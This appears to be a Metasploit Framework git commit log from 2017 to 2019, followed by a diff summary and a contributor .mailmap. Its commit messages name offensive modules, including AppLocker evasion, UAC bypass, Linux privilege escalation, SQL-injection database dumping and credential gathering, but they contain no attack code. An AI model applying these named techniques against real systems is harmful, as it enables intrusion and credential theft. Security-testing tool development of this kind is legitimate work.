James Lee fc69bfcc6c Merge branch 'h00die-egypt_resolve_hosts' into resolve_hosts_save_names 2019-09-18 16:49:56 -05:00
Metasploit ce8e85d573 automatic module_metadata_base.json update 2019-09-18 15:08:40 -05:00
Adam Cammack a8da66e6ee Land #12343, Fix ps1 and powershell transform 2019-09-18 14:59:25 -05:00
Adam Cammack 2716687f0d Bump rex-text to 0.2.24 2019-09-18 14:58:21 -05:00
James Lee 440c82b3e2 Fix broken ps1 and powershell transform 2019-09-18 12:20:16 -05:00
hkerma 98c9654d19 created a 'docs' directory in /tools. Added a tool to find missing documentations and/or modules 2019-09-18 16:09:53 +02:00
sinn3r a386b2d503 Land #12176 - Add evasion module applocker_evasion_regasm_regsvcs
Add evasion module applocker_evasion_regasm_regsvcs
2019-09-17 10:20:56 -05:00
Metasploit 18f21bb3a7 Bump version of framework to 5.0.49 2019-09-16 09:21:03 -05:00
Tim W 4d9780f070 Land #12239, fix search path separator 2019-09-13 17:08:57 +08:00
Jay Turla b879a888f8 Indent everything in super to 2 spaces 2019-09-13 09:32:21 +08:00
Clément Notin d85297c556 jboss_vulnscan: report the URL ("app") concerned by message 2019-09-13 01:04:28 +02:00
Metasploit de1bf2e715 automatic module_metadata_base.json update 2019-09-12 17:49:21 -05:00
Wei Chen 97fbfa3a9f Land #12154, Add evasion module applocker_evasion_presentationhost 2019-09-12 17:41:01 -05:00
todb-r7 a9a2ce2f6a Add correct CVE for shopware module
In PR #11828, the module author requested, and got, a new CVE for this
issue. The module should reflect that.
2019-09-12 16:09:32 -05:00
Clément Notin b8a393ea89 jboss_vulnscan: prefix fingerprint by 'fingerprint: ' 2019-09-12 22:57:57 +02:00
Metasploit f48a065d6d Bump version of framework to 5.0.48 2019-09-12 12:05:18 -05:00
Jay Turla 6771dd4c16 Update mazda_ic_mover.md 2019-09-13 00:11:38 +08:00
Pearce Barry 580f4f93bc Land #12308, move bigdecimal fix to separate file
include for specs
2019-09-12 09:32:08 -05:00
Metasploit c62cb1691c automatic module_metadata_base.json update 2019-09-12 07:55:14 -05:00
Shelby Pace e21b25b20f Land #12302, add zip slip exploit 2019-09-12 07:45:51 -05:00
Shelby Pace 644988750e change permission on payload 2019-09-12 07:43:54 -05:00
Jay Turla f0ca2fb2e5 Create a documentation for mazda_ic_mover module 2019-09-12 17:40:23 +08:00
Jay Turla 5fa9c5e21a Update mazda_ic_mover.rb
Changed ```0x10``` to ```0x01```
2019-09-12 12:49:45 +08:00
Metasploit 469f848b22 automatic module_metadata_base.json update 2019-09-11 16:06:43 -05:00
Shelby Pace 408d01cef4 Land #12276, add OpenEMR auxiliary module 2019-09-11 15:58:01 -05:00
Shelby Pace 8bfdaf6ab7 change metadata indentation 2019-09-11 15:56:46 -05:00
Brent Cook 3a4887cb3a Land #12315, update code climate banners 2019-09-11 13:37:31 -05:00
Clément Notin 88bdb981ad jboss_vulnscan: prefix fingerprint by 'rhost' and 'rport' 2019-09-11 19:54:32 +02:00
Jeffrey Martin c088ec9ee8 update code climate banners 2019-09-11 12:48:57 -05:00
Clément Notin 2ccfbbe8f8 RHOSTS: fix syntax in doc examples 2019-09-11 19:22:37 +02:00
Clément Notin ecb5eec969 RHOSTS: test for accept both "file://<path>" and "file:<path>" syntax 2019-09-11 19:04:53 +02:00
Metasploit c2790d44f6 automatic module_metadata_base.json update 2019-09-11 11:54:31 -05:00
sinn3r cfeaca6de8 Land #12310, Add CVE info for jboss_vulnscan and jboss_status
jboss_vulnscan and jboss_status: add CVE information
2019-09-11 11:47:05 -05:00
Clément Notin 911d3c41cd RHOSTS: accept both "file://<path>" and "file:<path>" syntax 2019-09-11 18:45:59 +02:00
Jay Turla b3240a1819 Add mazda_ic_mover module that moves the instrument cluster
This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster
2019-09-12 00:07:42 +08:00
Will Porter 3ed9fb0383 Fix a bug caused by writing python code in a ruby file. 2019-09-11 15:39:15 +00:00
Metasploit 3483881b19 automatic module_metadata_base.json update 2019-09-11 10:36:39 -05:00
Wei Chen a63357c460 Land #12177, Add evasion module applocker_evasion_workflow_compiler 2019-09-11 10:28:16 -05:00
Clément Notin b460dc113d jboss_vulnscan & status: add CVE ref 2019-09-11 14:05:21 +02:00
William Porter 11021e3bc1 Update the documentation to reflect recent changes. 2019-09-10 21:53:06 -04:00
William Porter 262e574fe2 Add the .csv extension to the loot file. 2019-09-10 21:32:03 -04:00
William Porter 7a8eb76a12 Use the same gsub pattern to create the ltype as is used by store_loot to sanitize characters. 2019-09-10 21:14:15 -04:00
Brent Cook e4992c6817 move bigdecimal fix to separate file, include for specs
This fixes some noisy warnings about bignum when running specs, making it easier to see the real problems.
2019-09-10 18:40:14 -05:00
bwatters-r7 6703e9b06b Land #11984, add meterpreter keyevent api for virtual key strokes
Merge branch 'land-11984' into upstream-master
2019-09-10 14:32:43 -05:00
Wei Chen 8fe1f9d172 Rephrase 2019-09-10 12:12:46 -05:00
William Porter 832d2e4300 Remove unneccesary comment. 2019-09-10 12:29:55 -04:00
Will Porter 3fc0467484 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Remove unused path variable.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:48 -04:00
Will Porter f1f9597222 Update modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Use `normalize_uri` to construct the vulnerable URI.

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-10 12:27:22 -04:00
Metasploit e66179a0e7 automatic module_metadata_base.json update 2019-09-10 11:24:33 -05:00
bwatters-r7 ee660d61ea Land #12275, Update payloads to 1.3.77
Merge branch 'land-12275' into upstream-master
2019-09-10 11:14:56 -05:00
Brent Cook 73eab2c34a Land #12286, RDP lib: lower SSL security level for compatibility with older implementations 2019-09-09 23:11:15 -05:00
Brent Cook 902ff4f573 Land #12301, fix a few issues using/building Docker images 2019-09-09 23:04:10 -05:00
Brent Cook f24c689d84 fix compatibility with --chown flag with COPY 2019-09-09 23:02:26 -05:00
Brent Cook d874f1899d update lock for unpinned gem 2019-09-09 22:52:54 -05:00
Wei Chen 2cd8125a40 Add zip skip 2019-09-09 12:00:53 -05:00
Wei Chen 5e65685167 Update documentation for zip slip 2019-09-09 12:00:05 -05:00
Matúš Bursa 9297809b41 fix permissions bug Gemfile.lock
There was an error while trying to write to /usr/src/metasploit-framework/Gemfile.lock. It is likely that you need to grant write permissions for that path.
2019-09-09 12:59:19 +02:00
Metasploit 0cbfaccc7d automatic module_metadata_base.json update 2019-09-08 00:09:39 -05:00
Brendan Coles aaad280e13 Land #12294, Fix References Array for bypassuac modules 2019-09-08 05:04:03 +00:00
AZSG a990191f99 Update modbusclient.rb 2019-09-07 23:54:43 -05:00
h00die 054a092eb2 fix references in bypassuac modules 2019-09-08 00:42:21 -04:00
h00die 78c4bfee95 add url for fodhelper 2019-09-08 00:33:16 -04:00
h00die f60e8a3dbd less indents 2019-09-08 00:11:11 -04:00
h00die ce5f8d8d2f add datastore option 2019-09-08 00:06:49 -04:00
h00die d6cfe021dc Land #12291 log errors on payload loading issues 2019-09-07 23:55:39 -04:00
h00die d25d8e77b8 12291 sempervictus words 2019-09-07 23:54:19 -04:00
Clément Notin 579ea56f3b RDP_TLS_SECURITY_LEVEL default value is 0 (less secure) 2019-09-07 18:39:59 +02:00
Clément Notin 49a991891c Add RDP_TLS_SECURITY_LEVEL advanced option 2019-09-07 17:19:59 +02:00
Brent Cook a985da9318 expand scope of errors caught to include all StandardErrors 2019-09-07 07:38:37 -04:00
Brent Cook 1d91e7f53c make payload generation failures at boot time non-fatal
Currently, if any payload fails to generate that has a dynamic size, it causes a Framework instance to throw an exception on start. This can happen for a number of reasons, and more often than not it is enviromental (files missing, Y2k38 bugs, etc.). Instead of failing entirely, catch the exception and log as an error, don't register the payload, but continue booting.
2019-09-07 07:21:40 -04:00
gkweb76 795e0ebeb5 Restore a "print" to "print_good"
Aesthetics modification
2019-09-07 09:02:04 +02:00
AZSG edcddf2736 Update modbusclient.rb 2019-09-06 22:40:31 -05:00
Clément Notin d4e2ac696a RDP lib: lower SSL security level for compatibility with stock Win7 2019-09-07 01:17:22 +02:00
Metasploit 9a6830c0ad automatic module_metadata_base.json update 2019-09-06 12:10:24 -05:00
bwatters-r7 25b56c410d Land #12189, Add module for LibreNMS CVE-2019-10669
Merge branch 'land-12189' into upstream-master
2019-09-06 12:01:09 -05:00
Metasploit 2ec2ecb969 automatic module_metadata_base.json update 2019-09-06 10:22:57 -05:00
Shelby Pace c4bd91f505 Land #12272, add October CMS file upload 2019-09-06 10:13:33 -05:00
Shelby Pace b0625012c4 add vulnerable software version 2019-09-06 10:12:08 -05:00
Shelby Pace 5f7c243b48 add filedropper, fix check, add to docs 2019-09-06 09:49:09 -05:00
Metasploit 788e3b4363 automatic module_metadata_base.json update 2019-09-06 09:33:59 -05:00
bwatters-r7 17acaf9720 Land #12226, fix #11574, add WSReset.exe UAC Bypass
Merge branch 'land-12226' into upstream-master
2019-09-06 09:19:24 -05:00
Touhid M Shaikh aaebec01a4 Update References
Added CVE and Blog link
2019-09-06 18:26:28 +05:30
bwatters-r7 e2815a997b Land #12251, Unify SSL cert generate interfaces
Merge branch 'land-12251' into upstream-master
2019-09-05 16:45:31 -05:00
gkweb76 a2d2475618 Fixed wrong previous commit 2019-09-05 22:12:33 +02:00
gkweb76 88d424cf3f Make the modification suggested by @acammack-r7
Directly insert the new value in the "table", instead of modifying the screen output manually. Simpler and cleaner, thanks @acammack-r7 !
2019-09-05 21:44:18 +02:00
Metasploit 22182d5c8d automatic module_metadata_base.json update 2019-09-05 13:25:28 -05:00
Touhid M Shaikh cf4c10783a Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:50:18 +05:30
Touhid M Shaikh 4b416bf530 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:43 +05:30
Touhid M Shaikh a7e205e252 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:32 +05:30
Touhid M Shaikh 0e4e7dd9d9 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:22 +05:30
Touhid M Shaikh bc1610ec46 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-05 23:48:14 +05:30
Tim W 9f03db4582 Land #12280, add WSReset.exe UAC bypass via registry 2019-09-06 02:14:54 +08:00
Tim W 1a717a5624 minor fixes 2019-09-06 02:11:06 +08:00
Metasploit ea6ab34c32 Bump version of framework to 5.0.47 2019-09-05 12:13:53 -05:00
bwatters-r7 20216ac81a Fix documentation to new module name 2019-09-05 12:08:12 -05:00
Tim W 5123fdbb5e s/pkexec_helper_ptrace/ptrace_traceme_pkexec_helper/g 2019-09-06 01:00:44 +08:00
bwatters-r7 a1f39e519f Move documentation 2019-09-05 11:57:51 -05:00
bwatters-r7 4e5e29fb52 Update documentation 2019-09-05 11:56:32 -05:00
Tim W cc9d9bb483 s/bypassuac_windows_store/bypassuac_windows_store_filesys/g 2019-09-06 00:52:13 +08:00
bwatters-r7 481c13ea0f Rubocop changes 2019-09-05 11:44:00 -05:00
bwatters-r7 cf3f6c90f8 Renamed file to make room for the other UAC bypass targeting the same exe 2019-09-05 11:35:10 -05:00
bwatters-r7 b876afa20f Fixed up the code before pushing it. 2019-09-05 11:33:05 -05:00
James Lee 56d81052e8 Save the data we just collected
Instead of just throwing it away after printing.
2019-09-05 09:47:04 -05:00
bwatters-r7 9281c0de12 Add some missing pieces to the UAC pypass? 2019-09-04 17:03:32 -05:00
Will Porter 106913f631 Correct csv string. 2019-09-04 17:43:34 +00:00
Touhid M Shaikh b9e702458d Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 23:01:44 +05:30
William Porter 2cd93cc097 Update documentation and actually save loot as csv file. 2019-09-04 13:08:49 -04:00
Will Porter 1b9bb964b8 Adjust loot filename. 2019-09-04 16:56:28 +00:00
William Porter 0ee3324535 Use store_loot properly, check response.nil? before consuming body. 2019-09-04 12:21:59 -04:00
William Porter 50f5d80328 Fix code highlighting in documentation description. 2019-09-04 11:09:05 -04:00
Will Porter c433cd4007 Remove erroneous ? from URI path. 2019-09-04 15:04:56 +00:00
Will Porter 74647c314a Use Rex::Text.rand_text_alphanumeric and remove gsub as a weak excuse for encoding. 2019-09-04 07:53:36 +00:00
Touhid M Shaikh 71c1c07b0d fixed
fix EOF on 88 line
2019-09-04 13:08:26 +05:30
William Porter 5963bbd6f9 Remove broken include. 2019-09-04 03:30:13 -04:00
William Porter d0803e49be Make changes as suggested in the pull request reviews. 2019-09-04 03:18:58 -04:00
Touhid M Shaikh aeaf4232fe updated
typo, comments and check fixed
2019-09-04 12:46:31 +05:30
Touhid M Shaikh 5e63c83257 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:37:21 +05:30
Touhid M Shaikh 9179ce1de1 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:23 +05:30
Touhid M Shaikh 90b639da71 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:15 +05:30
Touhid M Shaikh 974f078114 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:29:32 +05:30
Touhid M Shaikh bb8b3245a3 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:59 +05:30
Touhid M Shaikh f0eb7da43b Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:51 +05:30
Touhid M Shaikh 7359e4bdd6 fixes suggested by @space-r7
fixed check before passing to the accessor, removed res which is not used.
2019-09-04 12:20:39 +05:30
William Porter 2b97522b69 Fix the CVE format based on failed tests. 2019-09-04 01:36:20 -04:00
William Porter 80aee24d65 Add an auxiliary module to exploit OpenEMR CVE CVE-2018-17179.
Dump all tables in the OpenEMR database and save the data in .csv
format in the loot directory.
2019-09-04 01:18:54 -04:00
bwatters-r7 49c7fe8906 Update payload cache size 2019-09-03 18:25:26 -05:00
bwatters-r7 06a7267017 Bump payload version 2019-09-03 18:13:01 -05:00
Touhid M Shaikh 6c6603bbd7 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:18:31 +05:30
Touhid M Shaikh aee17608cd Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:17:50 +05:30
Touhid M Shaikh 6934af0b7d Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:15:33 +05:30
Clément Notin 72672c82f9 Fix syntax 2019-09-03 15:17:28 +02:00
Tim W ac9b4c137c add compile.rb 2019-09-03 18:46:13 +08:00
Tim W 415caafabe add docs 2019-09-03 17:54:15 +08:00
Tim W bade8bfc48 add live compiling 2019-09-03 17:31:04 +08:00
Touhid M Shaikh c9b0054629 october_upload_bypass_exec Doc
october_upload_bypass_exec Documetation
2019-09-03 12:26:41 +05:30
Touhid M Shaikh 615661a03d first build
first build of october_upload_bypass_exec
2019-09-03 12:04:38 +05:30
gkweb76 13560e93c0 Improve ADSI GPO filter to return only one result 2019-09-02 20:15:00 +02:00
Tim W cd13a83eb2 add arch check 2019-08-31 20:54:18 +08:00
gkweb76 71b825ee06 Update gpp.rb to display GPO name
GPO files on SYSVOL do only include the GPO GUID, not the GPO name defined by the administrator. This modification makes this gpp module make an ADSI query to retrieve all of the domain's GPOs, and compare their GUID. If one GUID matches, then we know the GPO name and we can display it. On a pentest, a client is much more interested by knowing the GPO name rather than the obscure GUID. The ADSI query relies on meterpreter "extapi" extension.
2019-08-31 12:37:49 +02:00
Adam Cammack 40169c8d42 Update to fixed rex-socket
Pulls in https://github.com/rapid7/rex-socket/pull/19
2019-08-30 14:02:57 -05:00
Adam Cammack 991639c493 Unify SSL cert generate interfaces
After this and rex-socket#19 the interfaces should be compatible again.
2019-08-30 00:01:55 -05:00
Clément Notin caafac3455 meterpreter, fs/file.rb: use client's separator instead of '\\' 2019-08-27 18:12:47 +02:00
Clément Notin f8b7100565 meterpreter UI, fs.rb: use client's separator instead of '\\' 2019-08-27 17:58:51 +02:00
Dezzy ec81ee8f08 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:21:02 -05:00
Dezzy f796f55cea Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:44 -05:00
Dezzy e103194ec4 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:36 -05:00
Tim W 64695f1354 initial commit 2019-08-24 13:42:22 +08:00
Tim W ea3e2c1047 fix #11574, add WSReset UAC Bypass 2019-08-24 13:35:40 +08:00
Dezzy dbcdfe8332 Create pulse_secure_file_disclosure.rb 2019-08-21 15:58:58 -05:00
Dezzy d1a510234f Delete pulse_secure_file_disclosure.rb 2019-08-21 11:35:35 -05:00
Dezzy 88107648cd Update pulse_secure_file_disclosure.rb 2019-08-21 07:57:15 -05:00
Dezzy 88a941cbd6 Create pulse_secure_file_disclosure.rb 2019-08-21 07:42:43 -05:00
Shelby Pace 70d5bd4eb3 add default payload, check login 2019-08-13 13:39:15 -05:00
Shelby Pace 286263c094 add quotes, platform 2019-08-13 11:18:31 -05:00
Shelby Pace 48333c5d4e randomize parameter value 2019-08-13 11:14:10 -05:00
Shelby Pace da98d3d376 finish documentation and module 2019-08-13 09:47:24 -05:00
Shelby Pace 71f4eadd18 module rework and some documentation 2019-08-12 15:22:22 -05:00
NickTyrer a5bbd7d1f5 update documentation 2019-08-10 09:03:04 +01:00
Shelby Pace 76da9ea4fc get shell with test data 2019-08-09 08:40:41 -05:00
Steve Embling 46005eb933 Updated References 2019-08-09 14:08:47 +01:00
NickTyrer 4747049440 add documentation 2019-08-09 08:47:26 +01:00
NickTyrer baea8d1f5f add documentation 2019-08-08 21:14:02 +01:00
NickTyrer 373e409184 add module applocker_evasion_workflow_compiler 2019-08-08 18:48:10 +01:00
NickTyrer 320642e3c0 add module applocker_evasion_regasm_regsvcs 2019-08-08 18:36:36 +01:00
Tim W 979681443c add rudimentary check method 2019-08-06 14:48:37 +08:00
Tim W b35b4674d0 fix forking behaviour 2019-08-06 14:17:28 +08:00
Tim W 0c4fc639fa update with bcoles poc.c 2019-08-06 13:55:01 +08:00
Tim W f48d1b1231 add more links 2019-08-06 13:54:15 +08:00
NickTyrer 61a1abab79 update csproj arch targeting 2019-08-03 10:41:13 +01:00
NickTyrer f675a974a6 implement changes suggested by @cbrnrd 2019-08-02 16:29:08 +01:00
NickTyrer af5e071abe update documentation 2019-08-01 20:46:09 +01:00
NickTyrer 107bb3e9ff add documentation 2019-08-01 09:06:35 +01:00
NickTyrer c8050adab2 add module applocker_evasion_presentationhost 2019-08-01 08:40:30 +01:00
Shelby Pace bc3f87a950 add login and device id code 2019-07-31 16:31:22 -05:00
Shelby Pace 1faa1786c6 add test request 2019-07-29 10:28:07 -05:00
caleBot e9e57895cd Update enum_nagios_xi.md
Added description
2019-07-27 11:33:51 -06:00
breeh c48a43a771 Adding post module for dumping credentials out of NagiosXI 2019-07-27 11:22:58 -06:00
Tim W b258b8270e fix #12104, add CVE-2019-13272 PTRACE_TRACEME linux local exploit 2019-07-19 13:24:13 +08:00
Shelby Pace 61d5be5981 add module skeleton and check 2019-07-17 15:51:11 -05:00
h00die 08a0528d8a add aux file eater module 2019-07-16 20:52:00 -04:00
h00die fd628583fe crack module peer review 2019-07-15 19:57:39 -04:00
h00die b7df6c1272 juniper cisco local config eaters 2019-07-07 21:49:48 -04:00
Tim W 809a990ab8 add mouse doubleclick 2019-06-20 15:21:41 +08:00
Tim W 48d29e532e add keyevent api 2019-06-20 13:54:13 +08:00
h00die bd58fdf77a remove ssh.rb from change 2019-06-09 15:11:07 -04:00
h00die 4d60f38177 brocade working 2019-06-09 15:10:05 -04:00
h00die cf90f8250d reimport brocade module 2019-06-09 15:09:06 -04:00
h00die 65a87b88ab modify creds command to truncate long hashes 2019-06-02 21:38:41 -04:00
h00die 3589c4f4c7 avoid cracking hashes already cracked 2019-06-02 21:14:02 -04:00
h00die b26c5c63e2 add webapp and complete docs 2019-05-31 19:11:01 -04:00
h00die 65536034b2 overhaul when things run 2019-05-31 17:13:34 -04:00
h00die 2cccd50160 creds command working
debuggin hashcat aix

remove word normal

get hashcat working on aix

add deprecated jtr_aix

prettying up crack_aix

custom wordlists should include the words themselves

make format transparent to user

aix cleanup, linux working

linux working, database in progress

crack databases working

crack windows working

spaces at eol

spec updates

spec updates

spec working

add version detection

crack_aix fixes and docs

refactoring crack modules

fix syntax error

docs for crackers

markup touchups

osx cracker

jenkins

fix jenkins

remove crypt fix osx for 10.7

doc fixes and osx sha512
2019-05-31 12:18:25 -04:00
bcoles ca8c72d586 Fix abrt package version check 2019-05-30 04:24:53 +10:00
bcoles ba03a0c9eb Remove unused variable 2019-04-20 21:41:25 +10:00
Brendan Coles a5b894dca3 Add sosreport-rhel7.py 2019-04-20 11:56:01 +00:00
Brendan Coles e714f9028e Add ABRT sosreport Privilege Escalation module 2019-04-20 11:48:52 +00:00
pkb1s 828eee12eb using "return early, return often" style 2019-03-04 19:31:49 +00:00
pkb1s 8e855867a9 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:39:30 +00:00
pkb1s d0ab528381 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:15:05 +00:00
pkb1s 794e74c25b added cve in reference 2019-03-04 17:18:52 +00:00
pkb1s 12ffc2a811 changed reference structure 2019-03-04 17:17:22 +00:00
bcoles 3196b6bacb Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:11:00 +00:00
pkb1s b43f6e8173 updated author section 2019-03-04 17:09:17 +00:00
bcoles 62054ed096 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:06:04 +00:00
bcoles 2286824645 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:49 +00:00
bcoles 40ff19a0c3 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:34 +00:00
bcoles 7734f436e9 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:24 +00:00
Garvit Dewan c48a6ddbdf Add /boot/grub2/user.cfg path to grub_password 2019-02-21 14:17:15 +05:30
pkb1s e06d7e2ded correction of CVE number 2019-02-17 21:36:30 +00:00
Garvit Dewan f823927832 Update documentation 2019-02-17 23:37:52 +05:30
Garvit Dewan a1b1ace18f Save the gathered credentials to database 2019-02-17 23:33:12 +05:30
Garvit Dewan 2dd9466c82 Add documentation for grub_password module 2019-02-17 22:15:47 +05:30
Garvit Dewan 85add746e1 Make suggested changes to grub_password module 2019-02-17 21:31:58 +05:30
Garvit Dewan 68414d07ce Make suggested changes to grub_password module 2019-02-17 20:23:26 +05:30
Garvit Dewan 22340ab2c1 Add *nix Gather Grub Password module 2019-02-17 19:29:47 +05:30
pkb1s 1999f6885b Minor changes to module options 2019-02-16 13:26:02 +00:00
pkb1s e12052a83e Update exchange_web_server_pushsubscription.md 2019-02-16 13:19:07 +00:00
pkb1s 3a77cc9805 Update exchange_web_server_pushsubscription.rb 2019-02-16 02:38:55 +00:00
pkb1s 72f73c59ee Update exchange_web_server_pushsubscription.md 2019-02-16 02:37:18 +00:00
pkb1s 51df27636d Add documentation 2019-02-16 02:34:14 +00:00
root 949d140326 Added auxiliary module code 2019-02-16 02:04:40 +00:00
Zack Flack 1f802a88dc rename module documentation 2019-02-12 21:02:02 +08:00
Zack Flack 42fa436940 apply rubocop fixes, remove unless statements 2019-02-12 20:25:58 +08:00
Zack Flack 16628806e1 generate relative path to /etc/passwd 2019-02-12 18:43:15 +08:00
Zack Flack 17c6b8dec1 add initial documentation 2019-02-11 23:51:16 +08:00
Zack Flack 5fde493add refactor version check, reduce verbosity 2019-02-11 23:50:09 +08:00
Zack Flack 92063560eb add version check, tweak payload execution for aix 2019-02-10 23:33:24 +08:00
Zack Flack 619d51c768 add inital port of perl exploit 2019-02-06 19:42:40 +08:00
Steve Embling 8585dacbb4 Updated to relevant references
Updated references to blog post and mailing list of commit proposal

Updated disclosure date to commit proposal
2019-01-18 17:01:17 +00:00
Aaron Ringo 9dd4017674 some modifications to WIP, changed gcc, fixed other errors 2018-11-26 21:06:37 -06:00
Aaron Ringo 5e9c10dbe8 added modulepath, tested on centos with selinux 2018-11-25 19:48:05 -06:00
Aaron Ringo 2ad453b6e3 added modulepath 2018-11-25 15:54:37 -06:00
Steve f7271d0086 Added curl flavor 2018-02-15 13:11:25 +00:00
Steve 8976b52216 Handle error stating that SNMP has timed out 2018-02-14 17:35:19 +00:00
Steve b0aeee8435 Documentation update 2018-02-14 17:08:04 +00:00
Steve 08d1f9a5c8 Documentation update 2018-02-14 17:03:42 +00:00
Steve 5f6ecd2ff9 Documentation update 2018-02-14 16:58:14 +00:00
Steve 734a6496c5 Fix escaping of printf and echo payloads 2018-02-14 16:21:15 +00:00
Steve dd267ba438 Fix msftidy warnings 2018-02-14 09:35:25 +00:00
Steve 361a999dd1 Use ARCH_X64 instead 2018-02-09 18:49:04 +00:00
Steve f17b9aed0c Use cmd_stager 2018-02-09 18:38:09 +00:00
Steve 7598a5801a Fix use of local var 2018-02-09 09:36:59 +00:00
Steve f372e8ec09 Documentation markdown fix 2018-02-08 16:19:09 +00:00
Steve 829cfbab3b Replaced string concats with interpolation 2018-02-08 16:11:47 +00:00
Steve a415a82aa3 Shortened SNMPManager.open statements 2018-02-08 16:09:53 +00:00
Steve 60e3b7be1a Clarified printf string 2018-02-08 16:06:44 +00:00
Steve 9bea263805 Changed temporary filename to local variable 2018-02-08 16:04:49 +00:00
Steve 50a1a0ae6c Add comment to space limitation 2018-02-08 16:03:17 +00:00
Steve ba528c8d50 Indented description 2018-02-08 16:01:16 +00:00
Steve 180bc1f741 Add options to documentation 2018-02-08 15:58:01 +00:00
Steve 358725bdd6 Update documentation 2018-02-08 15:48:19 +00:00
Steve Embling 1161787cbd Removed comma in payload -> space 2018-01-02 12:28:20 +00:00
Steve Embling e1fdd403ed Added documentation 2017-12-22 16:51:10 +00:00
Steve Embling be8538152c Added net_snmpd_rw_access exploit, authenticated remote code execution on Net-SNMPD for Linux systems 2017-12-22 16:42:03 +00:00
505 changed files with 29829 additions and 2591 deletions
+37 -36
View File
@@ -1,39 +1,40 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
